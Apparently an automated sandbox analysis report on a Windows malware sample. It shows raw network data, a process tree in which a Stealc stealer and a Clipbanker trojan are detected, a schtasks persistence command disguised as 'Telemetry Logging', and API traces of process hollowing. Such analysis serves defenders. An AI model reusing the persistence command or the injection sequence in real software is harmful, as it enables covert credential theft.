2024-09-11 20:52:12 UTC	16384	IN	Data Raw: 5e e4 f1 5f ab 60 80 ba 26 5b 78 6a 51 9c 7a 5e 0d 62 ba f4 e7 1c e3 79 17 94 22 dd 1b 77 fb bf 0d 4e 66 75 7c 38 cf 91 ad 0b 20 76 37 df 83 98 ed 5a dc c4 15 da 26 b2 2f a2 7a e9 9d f0 94 3f 68 c5 e6 cb 39 ad d4 19 01 42 b0 60 11 88 b7 97 dd ec 77 e8 d3 24 29 d6 d6 e2 9e 59 53 4c 8f f8 26 ec 46 d7 94 96 a6 ad 5c 42 04 39 3a 93 e3 16 81 ba ce 6e db 00 4c 33 0e 1c 5a 5f 25 ef ec 20 c5 a2 61 3e 0c 25 13 80 de ae d1 94 d3 04 39 7e 3e 9b f6 50 ae 4c 60 03 7f 63 da 88 e6 ad f8 07 aa de cf 76 8b 10 90 94 b6 89 50 4c b0 99 42 aa 07 c7 68 3d 05 9d e1 dd 0b 1a 34 71 80 3c e0 10 90 d4 09 d8 d0 56 63 bd 71 d6 dd 9f 3a 21 09 fd ec 9a 77 cb 69 ba 1d aa 58 ae e0 cd 76 c9 0e 69 f5 23 63 a7 d6 8a db 43 21 f7 c1 4d 43 35 b8 3d 48 68 15 aa 7c 99 b0 d9 79 dc de da 7b dd cb Data Ascii: ^_`&[xjQz^by"wNfu\|8 v7Z&/z?h9B`w$)YSL&F\B9:nL3Z_% a>%9~>PL`cvPLBh=4q<Vcq:!wiXvi#cC!MC5=Hh\|y{
2024-09-11 20:52:12 UTC	16384	IN	Data Raw: 66 c4 78 2f 76 fd 4d 85 54 aa 99 25 99 c0 c9 e3 65 5d c6 22 b2 24 50 9a 15 36 9f d6 32 ab af e9 d4 ec 20 2f 4f 96 75 73 ef c1 94 7d 71 88 06 8c 07 6c 94 99 bf eb 6e 54 1e bf 4a 29 e2 6f 25 3e a1 a5 25 6b d8 b8 18 db 8f 37 6b 10 4c b6 de d2 5b 64 59 5b da 46 2f 62 9d d1 c7 e4 21 e1 27 9b cd d9 88 0c 1a 5f d5 68 04 74 c1 02 79 fe c9 7b e0 63 32 8e 92 c3 d4 62 c6 5d b0 50 82 52 77 2b 41 64 20 fb 08 6b 18 7b 99 10 eb f2 d0 7e 32 b5 d1 27 c0 a2 1b 9b 97 d0 20 bf 06 00 c6 50 f9 ab f1 f7 11 4d ef 76 24 f6 57 a8 87 f2 c3 f4 ad bb 0a f5 4c 70 fd 46 0c 94 08 99 c2 51 9a 92 98 0c bc 9e 73 28 8c 2d 9f 29 45 82 89 63 c3 06 51 9d 4c ad b4 bd 4a c6 85 1e 34 29 86 32 a9 3e 0c 0a bc 57 08 57 6c f4 be 5b 8a a0 0a d9 15 2e a7 dc 20 b1 bd 91 16 e0 6f a9 a1 7b f3 ab 8e 80 f4 Data Ascii: fx/vMT%e]"$P62 /Ous}qlnTJ)o%>%k7kL[dY[F/b!'_hty{c2b]PRw+Ad k{~2' PMv$WLpFQs(-)EcQLJ4)2>WWl[. o{
2024-09-11 20:52:12 UTC	16384	IN	Data Raw: ab 3d 64 56 7c bf 43 a3 6c a9 22 7f ef 20 2b 07 54 0f dc 0e 58 3c 31 d1 eb dd 4e 5e c9 8c 91 5b 3b 53 85 77 6d 15 fa 35 7d a9 f0 52 d9 1a c5 b0 26 75 7e d7 27 2d 30 a5 ea 37 67 73 05 af 11 db c9 e7 4e 33 90 8d 41 07 37 fd 89 b4 01 82 22 67 ab 5a 68 da 89 72 26 e0 aa 12 44 78 61 cc a7 31 7e 43 3f 59 38 77 9d 31 59 94 95 72 67 3f 27 20 9c 62 ee a5 a4 e4 a7 df a3 67 9a 61 60 ac c7 e1 52 59 f2 7f 1b 1a 20 a6 d6 9e 3c 63 08 58 29 b8 1c 54 de 43 58 ae 80 4c 08 55 5d f5 e6 e0 c1 55 0d 56 6d 30 7f 0f 27 bb d7 c0 09 0a d9 50 a1 d5 77 53 4e 54 09 54 f2 4c d8 45 6e 51 93 f0 f2 47 46 9a d7 8f f9 3c 9e a2 f4 08 54 65 7b 2a 05 87 8e ce 4b a6 53 35 b1 4d e5 95 c8 c7 42 c2 bb 96 aa e1 f6 c4 89 7d 35 3d 6a 57 2b 6f e1 06 1d 83 f3 2f 11 11 c6 ce 26 09 82 04 ea 1a 35 a3 8d Data Ascii: =dV\|Cl" +TX<1N^[;Swm5}R&u~'-07gsN3A7"gZhr&Dxa1~C?Y8w1Yrg?' bga`RY <cX)TCXLU]UVm0'PwSNTTLEnQGF<Te{*KS5MB}5=jW+o/&5
2024-09-11 20:52:12 UTC	16320	IN	Data Raw: e0 bf 18 6c d4 e8 3b 4f 37 dc ec ae a2 05 3a 78 60 74 f7 ce e2 99 7a 57 b8 66 2a eb 7a ac 66 0a 18 e2 af 83 08 a2 49 da e0 7c 8a ca 30 8c d5 de a1 25 7a 32 4c ae 94 61 ad 4d 0b 0e c8 65 4d 79 23 d1 a6 78 27 23 30 cb 78 58 09 a8 9a 6b 9d 06 3d 2a 9d 0b 56 f4 9b 82 6d 06 92 6f 97 f4 26 a8 39 4e c0 a2 76 c9 89 7e 1a de 0b 10 81 9e 56 e9 9f 32 25 3e ca 19 8d d3 94 b2 77 ff 65 5c 5c 69 66 76 b6 e7 70 97 30 c9 00 bb 5d 05 7d 5c eb 10 9c 5b 49 4b b6 d1 65 61 e4 68 10 d0 67 35 27 c0 54 f8 cd ec 2a 44 09 16 be d2 a7 15 22 1f e8 e0 99 1d c0 98 43 9c ee 0e f1 71 5d c0 fc 25 c8 c1 4e a5 53 db 8a 90 46 f4 69 0c f3 40 6f 97 1d 41 2e c5 5a f9 1a 5b 23 39 70 25 c9 5e e9 32 3a 47 d8 6c 5a 7f df 1e d5 5c e1 d7 f1 be 1c 6c 82 81 90 e0 80 ae 3f 10 21 9a 04 d9 b1 df 0a 29 57 Data Ascii: l;O7:x`tzWfzfI\|0%z2LaMeMy#x'#0xXk=Vmo&9Nv~V2%>we\\ifvp0]}\[IKeahg5'T*D"Cq]%NSFi@oA.Z[#9p%^2:GlZ\l?!)W
2024-09-11 20:52:13 UTC	16384	IN	Data Raw: e8 a9 37 40 23 2f 75 fa b3 be 7a 31 f2 f8 24 dc 94 f2 8a 0d 35 8d 87 f9 31 42 11 5f 7d a5 e3 cc ef 6b a1 8b af 9a cb 03 f2 c1 ac 03 82 29 4a 9c 7f 78 7a 2a 7c 5e ce c5 46 9a 3f 76 30 df f0 76 e4 2c 7b 86 00 cc ba e4 54 7d 4f d4 52 de b5 20 2e f1 e7 e3 d0 c5 98 23 82 8a 48 8c 30 aa 24 eb d5 f4 9f 0c a4 6f 61 1e 7c ac 1a f6 b6 14 19 1f 73 63 d1 e2 0b e8 38 22 b7 9a d5 67 57 d7 79 3f 12 e9 f7 4a 58 7f 9e 32 46 d1 80 67 9d 1f 2d e1 45 a3 0f db 75 bc 70 d3 75 88 cf 9a a5 ef fe e0 3b e4 6a ad ae 05 43 7d e1 9f 3e 8a 4d 60 54 fa de d2 39 38 30 cc 53 9c 5e 77 46 45 c5 0a 8f 16 9f 7c 58 1c 32 d7 95 db c6 ab ad a9 f5 8d d7 1e ec d9 62 a0 6a 7f 5b 8e 42 0c d3 14 50 df f5 ca 3a fe c5 41 b6 b6 c3 ba 09 92 73 d0 fb 76 bf b8 41 91 a1 83 96 85 ce be be 68 ca 34 7b c2 82 Data Ascii: 7@#/uz1$51B_}k)Jxz*\|^F?v0v,{T}OR .#H0$oa\|sc8"gWy?JX2Fg-Eupu;jC}>M`T980S^wFE\|X2bj[BP:AsvAh4{
2024-09-11 20:52:13 UTC	16384	IN	Data Raw: 66 33 71 ea 83 e2 c9 dd c6 c5 4f 23 f3 16 28 53 57 68 7c 1f f3 1c a3 43 8f 8a bf ba 94 25 c5 62 d5 70 46 8a 4a dc 2b 95 9d 66 45 b9 54 8a e4 b2 7e 08 ec 5f ed 13 22 f6 4f 29 22 b4 d7 66 db fb 1b e4 5c c8 c7 51 d9 72 84 ee 08 88 2c 5e f3 a0 cb c2 20 80 41 95 fb 84 e9 39 98 8a 09 36 f8 29 6e 1b 46 4b 5b 06 60 d8 8b 6d 77 bd 7f bd bb 1a 42 ba 08 e9 32 c2 89 d3 d6 83 2e 16 54 69 06 65 ca ad 90 b6 4f 39 e3 0d c4 97 ee 05 04 4d d0 e6 10 cd 83 48 bb a5 d7 78 7d 27 0f ec d5 8a 1d 4c cc 5a de 00 26 a4 2c 62 47 e8 99 cc ef 7d 0a 5f ef a4 6d 91 7d 1e 7e 25 02 f7 44 3d d1 88 5c 7a b3 d4 b4 f4 d9 a9 52 eb 8d 07 eb 74 0c 9d 2b dc 1f 5c 3c d5 21 39 00 35 fb 52 ed a0 a7 4a 9f b4 28 ac f0 b3 77 6c cb 62 57 ab 7c da 92 e2 37 c9 3e 05 b2 d2 7d d6 92 90 62 24 66 da 26 2d 7e Data Ascii: f3qO#(SWh\|C%bpFJ+fET~_"O)"f\Qr,^ A96)nFK[`mwB2.TieO9MHx}'LZ&,bG}_m}~%D=\zRt+\<!95RJ(wlbW\|7>}b$f&-~
2024-09-11 20:52:13 UTC	16384	IN	Data Raw: 40 58 3e 9e eb f3 4b b4 5e 69 f7 9d cf 0d 27 0e 34 1d bb c2 3c 10 23 a5 8b 7b e9 69 9c 16 08 f7 bd 38 57 51 db a4 5d aa 80 07 d1 d6 70 8e d0 dd 35 aa 70 0d 3e 4e 14 fa 1a a0 cc 67 f9 bc 88 ae 88 83 3e b7 52 9e 79 70 09 60 83 e2 d5 4f ab c9 0e 34 9f 22 03 42 4b 89 fe e5 2c 0c c3 c5 c7 41 dd 8a 24 c7 82 97 c3 59 3f 70 81 ff 14 98 d8 26 4f ca 65 47 58 1e d0 b3 60 a8 41 48 15 fe f5 89 9c c5 e7 0a f5 d3 86 8c f8 e1 bc 4a 9e f4 da e9 eb 69 d3 f3 31 ca 22 53 e1 35 3f 2c 09 ee 2e e3 44 38 e9 09 25 36 7b fe 18 64 99 03 38 be 47 f6 73 d0 74 39 7f e3 68 ba a4 37 c0 cb a2 ff 11 78 c4 79 ca a6 fc d9 c6 5b b3 af 52 ce 04 71 64 c7 e0 b2 5d 28 8d a1 c5 89 23 55 63 67 12 ed 2c 39 9a 4c e4 19 82 3b a1 99 08 80 75 9b b4 ed 49 c7 0b f2 38 09 df 04 e8 8c c2 5c 1a f4 8d 8d 3b Data Ascii: @X>K^i'4<#{i8WQ]p5p>Ng>Ryp`O4"BK,A$Y?p&OeGX`AHJi1"S5?,.D8%6{d8Gst9h7xy[Rqd](#Ucg,9L;uI8\;
2024-09-11 20:52:13 UTC	16320	IN	Data Raw: 68 95 74 7e ff e8 54 eb e7 8d 25 e7 32 ae 96 10 c1 0c 0f 32 a9 14 fe 3b 43 c2 19 3d 74 bf 0f b9 50 49 fb 1e 6d b6 f2 c8 7b df 9a b5 0c 34 8e 46 0a 38 ee 6e 3f c5 33 5d 51 38 c7 66 b5 ee b1 6d 66 64 0a 53 8e 27 a2 62 df c4 fd 6c 5a 32 3e df fb 60 78 95 4f f8 b6 e0 6e e7 fa be fd a3 df 86 4a 8d 4f ed 3d 60 9a 96 08 2c 33 d6 fa 84 48 f9 d4 65 47 32 73 1b 05 9e 6e d7 9b 8e ae 19 d5 3d 2b 99 bb 81 18 44 fe 8e b0 76 06 72 c7 e3 76 50 ec c0 6a 00 2f e2 41 16 7d 48 dc 2e 32 33 72 06 6f 75 d3 52 dc a9 44 99 7c f8 2a 06 d1 d6 f7 7f 3e f3 f9 53 c1 9d 77 0b 47 3d cc f3 50 47 e1 71 fd 92 94 d4 7b 72 f4 4e 83 2d 33 3b 76 9b 17 28 54 e1 e8 5b ff 1e d5 f8 c8 4f 48 e7 2a a5 4e 27 cf 66 ac 86 c4 95 99 db 4d 0f 50 f9 6c ff f0 7c c8 53 98 7d 98 c0 f6 e9 9f f4 e2 04 13 7c c0 Data Ascii: ht~T%22;C=tPIm{4F8n?3]Q8fmfdS'blZ2>`xOnJO=`,3HeG2sn=+DvrvPj/A}H.23rouRD\|>SwG=PGq{rN-3;v(T[OHN'fMPl\|S}\|

Target ID:	0
Start time:	16:51:59
Start date:	11/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x2e0000
File size:	210'472 bytes
MD5 hash:	3B4A86E195CF96B1D60B303EBA6DEF01
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:51:59
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:52:00
Start date:	11/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x800000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:52:15
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\JKJDAEBFCB.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:52:15
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:52:15
Start date:	11/09/2024
Path:	C:\ProgramData\JKJDAEBFCB.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\JKJDAEBFCB.exe"
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000005.00000002.1854447772.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000005.00000002.1854447772.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 74%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:52:16
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xc40000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:52:16
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:52:16
Start date:	11/09/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Imagebase:	0x400000
File size:	4'563'640 bytes
MD5 hash:	AF6E384DFABDAD52D43CF8429AD8779C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000009.00000002.4149764295.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000009.00000002.4149764295.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 74%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:52:18
Start date:	11/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Imagebase:	0xc40000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:52:18
Start date:	11/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	38.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	16.2%
Total number of Nodes:	37
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0279241D Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0279258C
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0279259F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 027925BD
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 027925E1
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 0279260C
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 02792664
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 027926AF
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 027926ED
Wow64SetThreadContext.KERNEL32(?,?), ref: 02792729
ResumeThread.KERNELBASE(?), ref: 02792738

Strings

GetP, xrefs: 0279249F
aryA, xrefs: 02792463
Load, xrefs: 0279245B
ress, xrefs: 027924A7

Memory Dump Source

Source File: 00000000.00000002.1689841336.0000000002792000.00000040.00000800.00020000.00000000.sdmp, Offset: 02792000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2792000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 5c7bbea562a764217769714b56f4b21d3f408511ec5e5156b031e098136d4b5d
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: AAB1E67664024AAFDB60CF68CC80BDA77A5FF88714F158524EA0CAB342D774FA41CB94

Function 00CE0B2A Relevance: 1.8, APIs: 1, Instructions: 285
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03793594,00000040,?,?), ref: 00CE0EC4

Memory Dump Source

Source File: 00000000.00000002.1689659054.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: e2c591f47d364306d034b7a8e401afd436fb764ead6bc6e57f7a0ca01f3f690b
Instruction ID: db75e5c058861520c2a24b9af79e57ef9b294b89ec07e3b9afc676e5dcc87144
Opcode Fuzzy Hash: e2c591f47d364306d034b7a8e401afd436fb764ead6bc6e57f7a0ca01f3f690b
Instruction Fuzzy Hash: 28C13270A042959FCB01CFA9C884AADFFF1BF49314F6489A9D855E7356C3B4AD81CB90

Function 00CE0EFA Relevance: 1.6, APIs: 1, Instructions: 69
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,00000000,00000000,?,?), ref: 00CE0F99

Memory Dump Source

Source File: 00000000.00000002.1689659054.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: f4f40ea2a4d5452d8fcea7025037a7353a9627a45fbe9be86318036978088141
Instruction ID: 598fbea118ff1388723e26624690c0f8c6235f9f67a5f5cbf1dc7f88e75c7869
Opcode Fuzzy Hash: f4f40ea2a4d5452d8fcea7025037a7353a9627a45fbe9be86318036978088141
Instruction Fuzzy Hash: FF2104B59002499FCB10CF9AD984ADEBBF0FB48310F208429E859A7350C374A954CFA5

Function 00CE04F0 Relevance: 1.6, APIs: 1, Instructions: 68
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,00000000,00000000,?,?), ref: 00CE0F99

Memory Dump Source

Source File: 00000000.00000002.1689659054.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: c204a3f1e1a7e0e5d75949243d2bddc5813c9be3f305e2bafa82df0c14bc9bd3
Instruction ID: 69e9aa80ad9695e0bdd2a14554a7e578a93f8865fad21359cf74a9bffaf53fb0
Opcode Fuzzy Hash: c204a3f1e1a7e0e5d75949243d2bddc5813c9be3f305e2bafa82df0c14bc9bd3
Instruction Fuzzy Hash: C021F3B5900249DFCB10CF9AD984ADEBBF4FB48310F208429E859A7350D374AA54CFA5

Function 00CE04D0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03793594,00000040,?,?), ref: 00CE0EC4

Memory Dump Source

Source File: 00000000.00000002.1689659054.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d4fba001b8218362adea6807b9a3fedc46d03bbc308819d1a13c7690ce519a22
Instruction ID: 7ce440eddd1411230daf8ef80d1f476d20c9443b0923525d183efe2c80a0ee5f
Opcode Fuzzy Hash: d4fba001b8218362adea6807b9a3fedc46d03bbc308819d1a13c7690ce519a22
Instruction Fuzzy Hash: E12125B1805299EFCB00DF9AC884ADEFFB4FF49310F10806AE958A7210C374A554CBE5

Function 00CE04E4 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,03793594,00000040,?,?), ref: 00CE0EC4

Memory Dump Source

Source File: 00000000.00000002.1689659054.0000000000CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9d67aeb8afc489166bc9d464b8a26e50f735195d78a58269727bd6822ad8a583
Instruction ID: a89121ca65f79c26aac3b62054d7d3b06cdcf4287596a8ecaaac304c9aa72faf
Opcode Fuzzy Hash: 9d67aeb8afc489166bc9d464b8a26e50f735195d78a58269727bd6822ad8a583
Instruction Fuzzy Hash: FD21F2B5901259EFCB10CF9AD984ADEFFB4FB48320F10852AE918A7210C375A950CFE5

Analysis Process: RegAsm.exePID: 7728, Parent PID: 7660COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00C42780), ref: 004195FD
GetProcAddress.KERNEL32(74DD0000,00C427C0), ref: 00419615
GetProcAddress.KERNEL32(74DD0000,00C4A738), ref: 0041962E
GetProcAddress.KERNEL32(74DD0000,00C4A6C0), ref: 00419646
GetProcAddress.KERNEL32(74DD0000,00C4A828), ref: 0041965E
GetProcAddress.KERNEL32(74DD0000,00C4A618), ref: 00419677
GetProcAddress.KERNEL32(74DD0000,00C43FF8), ref: 0041968F
GetProcAddress.KERNEL32(74DD0000,00C4A588), ref: 004196A7
GetProcAddress.KERNEL32(74DD0000,00C4A5A0), ref: 004196C0
GetProcAddress.KERNEL32(74DD0000,00C4A5B8), ref: 004196D8
GetProcAddress.KERNEL32(74DD0000,00C4A768), ref: 004196F0
GetProcAddress.KERNEL32(74DD0000,00C42CC0), ref: 00419709
GetProcAddress.KERNEL32(74DD0000,00C42CE0), ref: 00419721
GetProcAddress.KERNEL32(74DD0000,00C42B40), ref: 00419739
GetProcAddress.KERNEL32(74DD0000,00C42B60), ref: 00419752
GetProcAddress.KERNEL32(74DD0000,00C4A5D0), ref: 0041976A
GetProcAddress.KERNEL32(74DD0000,00C4A840), ref: 00419782
GetProcAddress.KERNEL32(74DD0000,00C44368), ref: 0041979B
GetProcAddress.KERNEL32(74DD0000,00C42D00), ref: 004197B3
GetProcAddress.KERNEL32(74DD0000,00C4A708), ref: 004197CB
GetProcAddress.KERNEL32(74DD0000,00C4A660), ref: 004197E4
GetProcAddress.KERNEL32(74DD0000,00C4A690), ref: 004197FC
GetProcAddress.KERNEL32(74DD0000,00C4A7C8), ref: 00419814
GetProcAddress.KERNEL32(74DD0000,00C429C0), ref: 0041982D
GetProcAddress.KERNEL32(74DD0000,00C4A5E8), ref: 00419845
GetProcAddress.KERNEL32(74DD0000,00C4A750), ref: 0041985D
GetProcAddress.KERNEL32(74DD0000,00C4A720), ref: 00419876
GetProcAddress.KERNEL32(74DD0000,00C4A630), ref: 0041988E
GetProcAddress.KERNEL32(74DD0000,00C4A648), ref: 004198A6
GetProcAddress.KERNEL32(74DD0000,00C4A6F0), ref: 004198BF
GetProcAddress.KERNEL32(74DD0000,00C4A7B0), ref: 004198D7
GetProcAddress.KERNEL32(74DD0000,00C4A7E0), ref: 004198EF
GetProcAddress.KERNEL32(74DD0000,00C4A780), ref: 00419908
GetProcAddress.KERNEL32(74DD0000,00C50C58), ref: 00419920
GetProcAddress.KERNEL32(74DD0000,00C4A798), ref: 00419938
GetProcAddress.KERNEL32(74DD0000,00C4A810), ref: 00419951
GetProcAddress.KERNEL32(74DD0000,00C42A00), ref: 00419969
GetProcAddress.KERNEL32(74DD0000,00C51130), ref: 00419981
GetProcAddress.KERNEL32(74DD0000,00C42B80), ref: 0041999A
GetProcAddress.KERNEL32(74DD0000,00C51178), ref: 004199B2
GetProcAddress.KERNEL32(74DD0000,00C51190), ref: 004199CA
GetProcAddress.KERNEL32(74DD0000,00C42C20), ref: 004199E3
GetProcAddress.KERNEL32(74DD0000,00C42D20), ref: 004199FB
LoadLibraryA.KERNEL32(00C511A8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(00C511C0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(00C51160,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(00C51148,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(00C51100,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
